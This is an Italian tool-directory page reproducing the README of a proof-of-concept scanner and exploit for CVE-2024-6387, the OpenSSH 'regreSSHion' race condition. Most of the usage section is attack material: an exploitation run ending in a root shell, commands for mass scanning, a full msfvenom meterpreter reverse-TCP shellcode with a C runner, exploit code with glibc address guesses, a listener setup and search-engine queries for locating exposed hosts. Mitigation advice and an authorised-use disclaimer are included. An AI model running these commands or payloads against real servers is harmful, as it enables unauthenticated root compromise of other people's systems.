Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2024-6387 — PoC - Vulnerabilità di esecuzione remota di codice senza autenticazione nel server OpenSSH (Scanner ed Exploit) | Kitploit
Strumenti/GitHubGitHub/l0n3m4n/cve-2024-6387
RicognizioneAnalisi delle VulnerabilitàExploitShellcodeSicurezza di RetePenetration TestingRed TeamingStrumento di Accesso RemotoSviluppo Payload
GitHubl0n3m4n/cve-2024-6387

CVE-2024-6387

PoC - Vulnerabilità di esecuzione remota di codice senza autenticazione nel server OpenSSH (Scanner ed Exploit)

1133982 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Vedi Repository
Condividi

openssh CVE-2024-6387 - PoC

📜 Descrizione

Nota: questo script è un prototipo PoC veloce; potrebbero verificarsi alcuni errori e bug. Testato su: Kali Linux, ParrotSec, Ubuntu 22.04

Vulnerabilità di esecuzione di codice remoto non autenticato nel server OpenSSH

È stata trovata una race condition nel gestore dei segnali nel server OpenSSH (sshd), in cui un client non si autentica entro LoginGraceTime secondi (120 di default, 600 nelle vecchie versioni di OpenSSH); quindi il gestore SIGALRM di sshd viene chiamato in modo asincrono. Tuttavia, questo gestore dei segnali chiama diverse funzioni che non sono async-signal-safe, ad esempio syslog().

📁 Indice

  • 📖 Dettagli
  • ⚙️ Utilizzo
  • 🔍 Scoperta degli host
  • 🛠️ Mitigazione
  • 💁 Riferimenti
  • 📌 Autore
  • 📢 Disclaimer

✍🏻 Dettagli

Puoi trovare i dettagli tecnici qui.

La vulnerabilità, scoperta dai ricercatori di Qualys a maggio 2024 e a cui è stato assegnato l'identificativo CVE-2024-6387, è dovuta a una race condition nel gestore dei segnali in sshd che consente a un attaccante remoto non autenticato di eseguire codice arbitrario come root.

"Se un client non si autentica entro LoginGraceTime secondi (120 di default), allora il gestore SIGALRM di sshd viene chiamato in modo asincrono e chiama diverse funzioni che non sono async-signal-safe,"

"Un attaccante remoto non autenticato può sfruttare questa vulnerabilità per eseguire codice arbitrario con privilegi di root."

⚙️ Utilizzo

Scansione del server OpenSSH

Requisito: ultima versione di python3

root@kitploit:~
$ python3 CVE-2024-6387.py --exploit 192.168.56.101 --port 22

 ██████╗ ██████╗ ███████╗███╗   ██╗███████╗███████╗██╗  ██╗
██╔═══██╗██╔══██╗██╔════╝████╗  ██║██╔════╝██╔════╝██║  ██║
██║   ██║██████╔╝█████╗  ██╔██╗ ██║███████╗███████╗███████║
██║   ██║██╔═══╝ ██╔══╝  ██║╚██╗██║╚════██║╚════██║██╔══██║
╚██████╔╝██║     ███████╗██║ ╚████║███████║███████║██║  ██║
 ╚═════╝ ╚═╝     ╚══════╝╚═╝  ╚═══╝╚══════╝╚══════╝╚═╝  ╚═╝
   Author: l0n3m4n / Scanner: @xaitax / PoC: @7etsuo 
    
Exploiting vulnerabilities...
Attempting exploitation with glibc base: 0xb7200000
Attempt 0 of 20000
Received SSH version: SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6
Received KEX_INIT (1024 bytes)
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
.....
Exploitation successful..!

~# whoami && id
root
uid=0(root) gid=0(root) groups=0(root) 

Esportazione (csv,txt,json)

root@kitploit:~
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -o json -f result.json

Target multipli

root@kitploit:~
$ python3 CVE-2024-6387.py -s targets.txt -p 22 -o json -f result.json

Aggiunta del timeout

root@kitploit:~
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -t 10 -o json -f result.json

Intervalli di rete

root@kitploit:~
$ python3 CVE-2024-6387.py -s 192.168.56.101/24 -p 22 -t 5 -o json -f result.json

Porta personalizzata

root@kitploit:~
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 2244 -t 5 -o json -f result.json

Processo di escalation

Ottenere una reverse shell

root@kitploit:~
# Generating a shellcode 
$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.56.100 LPORT=9999 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of c file: 574 bytes

unsigned char buf[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";

Payload personalizzato

root@kitploit:~
#include <stdio.h>

// A placeholder of your custom payload 
const char shellcode[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";

int main() {
    // Execute shellcode
    printf("Executing shellcode...\n");
    void (*sc)() = (void(*)())shellcode;
    sc();

    return 0;
}

Payload effettivo

root@kitploit:~
#include <stdio.h>
 

#define MAX_PACKET_SIZE (256 * 1024)
#define LOGIN_GRACE_TIME 120
#define MAX_STARTUPS 100
#define CHUNK_ALIGN(s) (((s) + 15) & ~15)

// Possible glibc base addresses (for ASLR bypass)
uint64_t GLIBC_BASES[] = { 0xb7200000, 0xb7400000 };
int NUM_GLIBC_BASES = sizeof (GLIBC_BASES) / sizeof (GLIBC_BASES[0]);

// Shellcode placeholder (replace with actual shellcode)
unsigned char shellcode[] = "\x90\x90\x90\x90";

Compilazione e avvio del payload

root@kitploit:~
# compiling payload
$ gcc -shared -o exploit.so -fPIC 7etsuo-regreSSHion.c 

Esecuzione del payload

root@kitploit:~
# Once you receive a successful exploitation message, the msfconsole automatically initiates a Meterpreter session.
$ python3 CVE-2024-6387.py --exploit 192.168.56.101 --p 22 

Ricezione del payload

root@kitploit:~
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST 192.168.56.100; set LPORT 9999; exploit -j"

🔍 Scoperta degli host

  • Hunter: /product.name="OpenSSH"
  • FOFA: app="OpenSSH"
  • SHODAN: product:"OpenSSH"
  • CENSYS: (openssh) and labels=remote-access

🛠️ Mitigazione

  • Gestione delle patch: Applicare rapidamente le patch disponibili per OpenSSH è fondamentale per chiudere la finestra di vulnerabilità. Un'applicazione tempestiva delle patch garantisce che gli exploit noti non possano essere sfruttati contro i tuoi sistemi, riducendo così la finestra di opportunità per gli attaccanti.

  • Controllo degli accessi potenziato: Limitare l'accesso SSH tramite controlli di rete aggiunge un ulteriore livello di difesa. Questo approccio riduce al minimo l'esposizione a potenziali attaccanti, limitando le connessioni SSH solo a reti o indirizzi IP autorizzati. L'implementazione di strumenti come regole firewall o l'uso di VPN per un accesso sicuro può far rispettare efficacemente queste restrizioni.

  • Segmentazione della rete: Dividere la rete in segmenti aiuta a contenere l'impatto di una potenziale violazione. Segmentando i sistemi critici e i dati sensibili dalle parti meno critiche della rete, si riduce il rischio di movimento laterale da parte degli attaccanti. Questa segmentazione può essere integrata con rigorosi controlli di accesso e monitoraggio per rilevare e rispondere a qualsiasi tentativo non autorizzato di violare questi segmenti.

  • Sistemi di rilevamento delle intrusioni (IDS): L'implementazione di IDS o sistemi di prevenzione delle intrusioni (IPS) consente il monitoraggio in tempo reale del traffico di rete e dei log di sistema. Questi sistemi possono rilevare attività sospette e potenziali tentativi di sfruttamento associati alla vulnerabilità regreSSHion. Gli avvisi generati da questi sistemi consentono un'indagine e una mitigazione tempestive prima che possano verificarsi danni significativi.

  • Monitoraggio dei tentativi di sfruttamento: Il monitoraggio continuo dei log di rete e di sistema è fondamentale. Cerca eventuali modelli o attività insoliti che potrebbero indicare un tentativo di sfruttare la vulnerabilità OpenSSH. Questo approccio proattivo aiuta a identificare e rispondere alle minacce prima che possano causare danni.

💁 Riferimenti

  • Autore originale: CVE-2024-6387 Scanner
  • Autore originale: CVE-2024-6387 PoC

Ulteriori riferimenti

  • http://www.openwall.com/lists/oss-security/2024/07/01/12
  • https://access.redhat.com/security/cve/CVE-2024-6387
  • https://bugzilla.redhat.com/show_bug.cgi?id=2294604
  • https://www.qualys.com/2024/07/01/cve-2024-6387/regresshion.txt
  • https://github.com/zgzhang/cve-2024-6387-poc
  • https://ubuntu.com/security/CVE-2024-6387
  • https://ubuntu.com/security/notices/USN-6859-1
  • https://www.suse.com/security/cve/CVE-2024-6387.html
  • https://explore.alas.aws.amazon.com/CVE-2024-6387.html
  • https://archlinux.org/news/the-sshd-service-needs-to-be-restarted-after-upgrading-to-openssh-98p1/
  • https://www.openssh.com/txt/release-9.8
  • https://lists.mindrot.org/pipermail/openssh-unix-announce/2024-July/000158.html
  • https://lists.mindrot.org/pipermail/openssh-unix-dev/2024-July/041431.html
  • https://blog.qualys.com/vulnerabilities-threat-research/2024/07/01/regresshion-remote-unauthenticated-code-execution-vulnerability-in-openssh-server
  • https://www.theregister.com/2024/07/01/regresshion_openssh/
  • https://news.ycombinator.com/item?id=40843778

📌 Autore

  • Facebook
  • Twitter (X)
  • Medium
  • Sito web

📢 Disclaimer

  • Nota importante:
    • Questo strumento è sviluppato e utilizzato esclusivamente per test di penetrazione autorizzati ed esercitazioni di red team. È progettato per identificare e sfruttare vulnerabilità nel server OpenSSH, su sistemi Linux basati su glibc. L'uso non autorizzato di questo strumento è severamente vietato. Il proprietario di questo strumento non è responsabile per qualsiasi accesso non autorizzato o uso dannoso dello strumento.
  • Avviso legale:
    • L'uso non autorizzato di questo strumento su sistemi o reti senza l'esplicita autorizzazione dei rispettivi proprietari può violare leggi e regolamenti applicabili. Gli utenti sono responsabili di garantire la conformità con gli standard legali ed etici che regolano i test e le valutazioni di cybersecurity.
Scarica lo strumento
  • https://security-tracker.debian.org/tracker/CVE-2024-6387
  • https://github.com/oracle/oracle-linux/issues/149
  • https://github.com/rapier1/hpn-ssh/issues/87
  • https://stackdiary.com/openssh-race-condition-in-sshd-allows-remote-code-execution/
  • https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2024-0010
  • http://www.openwall.com/lists/oss-security/2024/07/01/13
  • https://security.netapp.com/advisory/ntap-20240701-0001/